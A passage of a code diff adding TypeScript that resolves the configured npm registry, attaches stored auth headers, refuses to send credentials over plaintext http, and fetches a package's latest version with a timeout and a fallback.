warnings.push(`credentials configured for ${registry} were withheld because it is plaintext http`);
|
|
484
|
+
}
|
|
485
|
+
return {};
|
|
486
|
+
}
|
|
487
|
+
|
|
488
|
+
// Credentials written into the registry URL are inseparable from it.
|
|
489
|
+
if (userinfo) return { Authorization: `Basic ${userinfo}` };
|
|
490
|
+
|
|
491
|
+
for (const prefix of credentialPrefixes(registry)) {
|
|
492
|
+
const read = (field: string): string | undefined =>
|
|
493
|
+
lookupConfig(layers, `${prefix}:${field}`)?.value ??
|
|
494
|
+
lookupConfig(layers, `${prefix.replace(/\/$/, "")}:${field}`)?.value;
|
|
495
|
+
|
|
496
|
+
const authToken = read("_authToken");
|
|
497
|
+
if (authToken) return { Authorization: `Bearer ${authToken}` };
|
|
498
|
+
|
|
499
|
+
const auth = read("_auth");
|
|
500
|
+
if (auth) return { Authorization: `Basic ${auth}` };
|
|
501
|
+
|
|
502
|
+
const username = read("username");
|
|
503
|
+
const password = read("_password");
|
|
504
|
+
if (username && password) {
|
|
505
|
+
const decoded = decodeBase64Password(password);
|
|
506
|
+
if (decoded !== undefined) {
|
|
507
|
+
return { Authorization: `Basic ${Buffer.from(`${username}:${decoded}`).toString("base64")}` };
|
|
508
|
+
}
|
|
509
|
+
}
|
|
510
|
+
}
|
|
511
|
+
return {};
|
|
512
|
+
}
|
|
513
|
+
|
|
514
|
+
function hasCredential(layers: ConfigLayer[], prefix: string): boolean {
|
|
515
|
+
const read = (field: string): string | undefined =>
|
|
516
|
+
lookupConfig(layers, `${prefix}:${field}`)?.value ??
|
|
517
|
+
lookupConfig(layers, `${prefix.replace(/\/$/, "")}:${field}`)?.value;
|
|
518
|
+
|
|
519
|
+
if (read("_authToken") || read("_auth")) return true;
|
|
520
|
+
|
|
521
|
+
const password = read("_password");
|
|
522
|
+
return Boolean(read("username") && password && decodeBase64Password(password) !== undefined);
|
|
523
|
+
}
|
|
524
|
+
|
|
525
|
+
/** Resolve the registry npm/bun would use for `packageName`, with credentials attached. */
|
|
526
|
+
export async function resolveNpmRegistry(
|
|
527
|
+
packageName: string,
|
|
528
|
+
environment: NpmRegistryEnvironment = {},
|
|
529
|
+
): Promise<ResolvedNpmRegistry> {
|
|
530
|
+
const warnings: string[] = [];
|
|
531
|
+
// Kept apart from `warnings`: only a config file that exists but cannot be
|
|
532
|
+
// read justifies refusing to fall back, and an informational notice must not.
|
|
533
|
+
const readFailures: string[] = [];
|
|
534
|
+
const layers = await collectLayers(environment, warnings, readFailures);
|
|
535
|
+
const scope = packageScope(packageName);
|
|
536
|
+
|
|
537
|
+
// npm resolves the scoped key first, then the generic one, each across all layers.
|
|
538
|
+
const entry = (scope ? lookupConfig(layers, `${scope}:registry`) : undefined) ?? lookupConfig(layers, "registry");
|
|
539
|
+
if (!entry) {
|
|
540
|
+
// An unreadable config file is not the same as no config file: falling back
|
|
541
|
+
// to the public registry there is exactly the silent divergence being fixed.
|
|
542
|
+
if (readFailures.length) {
|
|
543
|
+
throw new NpmRegistryConfigError(
|
|
544
|
+
`no usable npm registry configuration: ${readFailures.join("; ")} (set npm_config_registry to override)`,
|
|
545
|
+
);
|
|
546
|
+
}
|
|
547
|
+
return { registry: DEFAULT_NPM_REGISTRY, headers: {}, origin: "default", source: "built-in default", warnings };
|
|
548
|
+
}
|
|
549
|
+
|
|
550
|
+
const normalized = normalizeRegistry(entry.value);
|
|
551
|
+
if (!normalized) {
|
|
552
|
+
// Falling back to the public registry here would silently reintroduce the
|
|
553
|
+
// bug this module exists to remove.
|
|
554
|
+
throw new NpmRegistryConfigError(
|
|
555
|
+
`npm config registry from ${entry.source} is not a valid http(s) URL: ${redactAuthority(entry.value)}`,
|
|
556
|
+
);
|
|
557
|
+
}
|
|
558
|
+
|
|
559
|
+
return {
|
|
560
|
+
registry: normalized.registry,
|
|
561
|
+
headers: resolveAuthHeaders(normalized.registry, normalized.userinfo, layers, warnings),
|
|
562
|
+
origin: entry.origin,
|
|
563
|
+
source: entry.source,
|
|
564
|
+
warnings: [...warnings, ...readFailures],
|
|
565
|
+
};
|
|
566
|
+
}
|
|
567
|
+
|
|
568
|
+
/**
|
|
569
|
+
* Registries can live under a path prefix, so join by string rather than `new URL`.
|
|
570
|
+
*
|
|
571
|
+
* @internal Exported for tests; production code goes through `fetchLatestPackageVersion`.
|
|
572
|
+
*/
|
|
573
|
+
export function buildRegistryPackageUrl(registry: string, packageName: string, spec?: string): string {
|
|
574
|
+
const base = `${registry.replace(/\/+$/, "")}/${packageName}`;
|
|
575
|
+
return spec ? `${base}/${spec}` : base;
|
|
576
|
+
}
|
|
577
|
+
|
|
578
|
+
function describeSource(resolved: ResolvedNpmRegistry): string {
|
|
579
|
+
return resolved.origin === "default" ? "" : ` (registry from ${resolved.source})`;
|
|
580
|
+
}
|
|
581
|
+
|
|
582
|
+
function withWarnings(message: string, warnings: string[]): string {
|
|
583
|
+
return warnings.length ? `${message}; ${warnings.join("; ")}` : message;
|
|
584
|
+
}
|
|
585
|
+
|
|
586
|
+
interface VersionResponse {
|
|
587
|
+
version?: string;
|
|
588
|
+
"dist-tags"?: { latest?: string };
|
|
589
|
+
}
|
|
590
|
+
|
|
591
|
+
async function requestJson(
|
|
592
|
+
url: string,
|
|
593
|
+
resolved: ResolvedNpmRegistry,
|
|
594
|
+
options: NpmRegistryLookupOptions,
|
|
595
|
+
signal: AbortSignal,
|
|
596
|
+
): Promise<{ status: number; data?: VersionResponse; failure?: string }> {
|
|
597
|
+
const doFetch = options.fetchImpl ?? (fetch as unknown as FetchLike);
|
|
598
|
+
|
|
599
|
+
let response: FetchResponseLike;
|
|
600
|
+
try {
|
|
601
|
+
response = await doFetch(url, { headers: { Accept: PACKUMENT_ACCEPT, ...resolved.headers }, signal });
|
|
602
|
+
} catch (err) {
|
|
603
|
+
const timedOut = signal.aborted || (err instanceof Error && err.name === "TimeoutError");
|
|
604
|
+
const reason = timedOut ? "timed out" : `failed: ${err}`;
|
|
605
|
+
return { status: 0, failure: `${url} request ${reason}${describeSource(resolved)}` };
|
|
606
|
+
}
|
|
607
|
+
|
|
608
|
+
if (!response.ok) {
|
|
609
|
+
const reason = response.statusText ? `${response.status} ${response.statusText}` : `${response.status}`;
|
|
610
|
+
return { status: response.status, failure: `${url} responded ${reason}${describeSource(resolved)}` };
|
|
611
|
+
}
|
|
612
|
+
|
|
613
|
+
try {
|
|
614
|
+
return { status: response.status, data: (await response.json()) as VersionResponse };
|
|
615
|
+
} catch {
|
|
616
|
+
// An abort during the body read arrives here too, and is not interception.
|
|
617
|
+
if (signal.aborted) {
|
|
618
|
+
return { status: response.status, failure: `${url} request timed out${describeSource(resolved)}` };
|
|
619
|
+
}
|
|
620
|
+
// A captive portal or block page answering 200 with HTML lands here; the
|
|
621
|
+
// bare SyntaxError alone would name neither the URL nor the registry.
|
|
622
|
+
return {
|
|
623
|
+
status: response.status,
|
|
624
|
+
failure: `${url} returned a non-JSON body${describeSource(resolved)} — a proxy is probably intercepting this request`,
|
|
625
|
+
};
|
|
626
|
+
}
|
|
627
|
+
}
|
|
628
|
+
|
|
629
|
+
function readVersion(data: VersionResponse | undefined): string | undefined {
|
|
630
|
+
return data?.version ?? data?.["dist-tags"]?.latest;
|
|
631
|
+
}
|
|
632
|
+
|
|
633
|
+
/** Fetch the latest published version of `packageName` from the configured registry. */
|
|
634
|
+
export async function fetchLatestPackageVersion(
|
|
635
|
+
packageName: string,
|
|
636
|
+
options: NpmRegistryLookupOptions = {},
|
|
637
|
+
): Promise<LatestPackageVersion> {
|
|
638
|
+
const resolved = await resolveNpmRegistry(packageName, options);
|
|
639
|
+
// One deadline for the whole lookup, so the packument retry cannot double it.
|
|
640
|
+
const signal = AbortSignal.timeout(options.timeoutMs ?? DEFAULT_TIMEOUT_MS);
|
|
641
|
+
|
|
642
|
+
const latestUrl = buildRegistryPackageUrl(resolved.registry, packageName, "latest");
|
|
643
|
+
const latest = await requestJson(latestUrl, resolved, options, signal);
|
|
644
|
+
const version = readVersion(latest.data);
|
|
645
|
+
if (version) return { version, registry: resolved.registry, warnings: resolved.warnings };
|
|
646
|
+
|
|
647
|
+
// `/{pkg}/latest` is a registry-API convenience route; a mirror that only
|
|
648
|
+
// serves packuments — which is all the installer itself needs — 404s it.
|
|
649
|
+
if (latest.status === 404 || (!latest.failure && !version)) {
|
|
650
|
+
const packumentUrl = buildRegistryPackageUrl(resolved.registry, packageName);
|
|
651
|
+
const packument = await requestJson(packumentUrl, resolved, options, signal);
|
|
652
|
+
const fallback = readVersion(packument.data);
|
|
653
|
+
if (fallback) return { version: fallback, registry: resolved.registry, warnings: resolved.warnings };
|
|
654
|
+
throw new Error(
|
|
655
|
+
withWarnings(packument.failure ?? latest.failure ?? `${packumentUrl} returned no version`, resolved.warnings),
|
|
656
|
+
);
|
|
657
|
+
}
|
|
658
|
+
|
|
659
|
+
throw new Error(withWarnings(latest.failure ?? `${latestUrl} returned no version`, resolved.warnings));
|
|
660
|
+
}
|